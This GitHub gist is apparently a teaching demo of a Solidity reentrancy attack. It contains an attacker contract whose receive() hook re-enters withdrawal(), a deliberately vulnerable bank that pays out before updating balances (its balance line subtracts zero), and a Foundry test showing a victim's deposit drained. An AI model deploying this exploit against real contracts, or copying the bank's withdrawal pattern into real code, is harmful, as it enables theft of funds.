Skip to content

Instantly share code, notes, and snippets.

@SpiralOutDotEu
Last active August 17, 2023 13:29
Show Gist options
  • Save SpiralOutDotEu/a037aacb8aeb7b4453b7cfd53a33c9cd to your computer and use it in GitHub Desktop.
Save SpiralOutDotEu/a037aacb8aeb7b4453b7cfd53a33c9cd to your computer and use it in GitHub Desktop.
A minimal Reentrancy solidity example
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
// Reference: https://www.quicknode.com/guides/ethereum-development/smart-contracts/a-broad-overview-of-reentrancy-attacks-in-solidity-contracts#explaining-reentrancy-with-custom-solidity-contracts
import "./TheBank.sol";
contract TheAttacker {
TheBank public theBank;
constructor(address _thebankAddress) {
theBank = TheBank(_thebankAddress);
}
receive() external payable {
if (address(theBank).balance >= 1 ether) {
theBank.withdrawal();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
theBank.deposit{ value: 1 ether }();
theBank.withdrawal();
}
function getBalances() public view returns (uint256) {
return address(this).balance;
}
function liftAll() public {
address payable receiver = payable(msg.sender);
receiver.transfer(address(this).balance);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
// Reference: https://www.quicknode.com/guides/ethereum-development/smart-contracts/a-broad-overview-of-reentrancy-attacks-in-solidity-contracts#explaining-reentrancy-with-custom-solidity-contracts
contract TheBank {
mapping(address => uint) theBalances;
function deposit() public payable {
require(msg.value >= 1 ether, "cannot deposit below 1 ether");
theBalances[msg.sender] += msg.value;
}
function withdrawal() public {
require(
theBalances[msg.sender] >= 1 ether,
"must have at least one ether"
);
uint bal = theBalances[msg.sender];
(bool success, ) = msg.sender.call{value: bal}("");
require(success, "transaction failed");
theBalances[msg.sender] -= 0;
}
function totalBalance() public view returns (uint) {
return address(this).balance;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import { PRBTest } from "@prb/test/PRBTest.sol";
import { console2 } from "forge-std/console2.sol";
import { StdCheats } from "forge-std/StdCheats.sol";
import { TheBank } from "../src/TheBank.sol";
import { TheAttacker } from "../src/TheAttacker.sol";
// forge test
contract TheBankAttackTest is PRBTest, StdCheats {
TheBank internal theBank;
TheAttacker internal theAttacker;
function setUp() public {
theBank = new TheBank();
theAttacker = new TheAttacker(address(theBank));
}
function testAttackTheBank() public {
address victim = address(0x1);
address attacker = address(0x2);
deal(victim, 20 ether);
deal(attacker, 20 ether);
vm.startPrank(victim);
theBank.deposit{ value: 10 ether }();
changePrank(attacker);
theAttacker.attack{ value: 1 ether }();
theAttacker.liftAll();
vm.stopPrank();
assertAlmostEq(attacker.balance , 30 ether, 1 ether);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment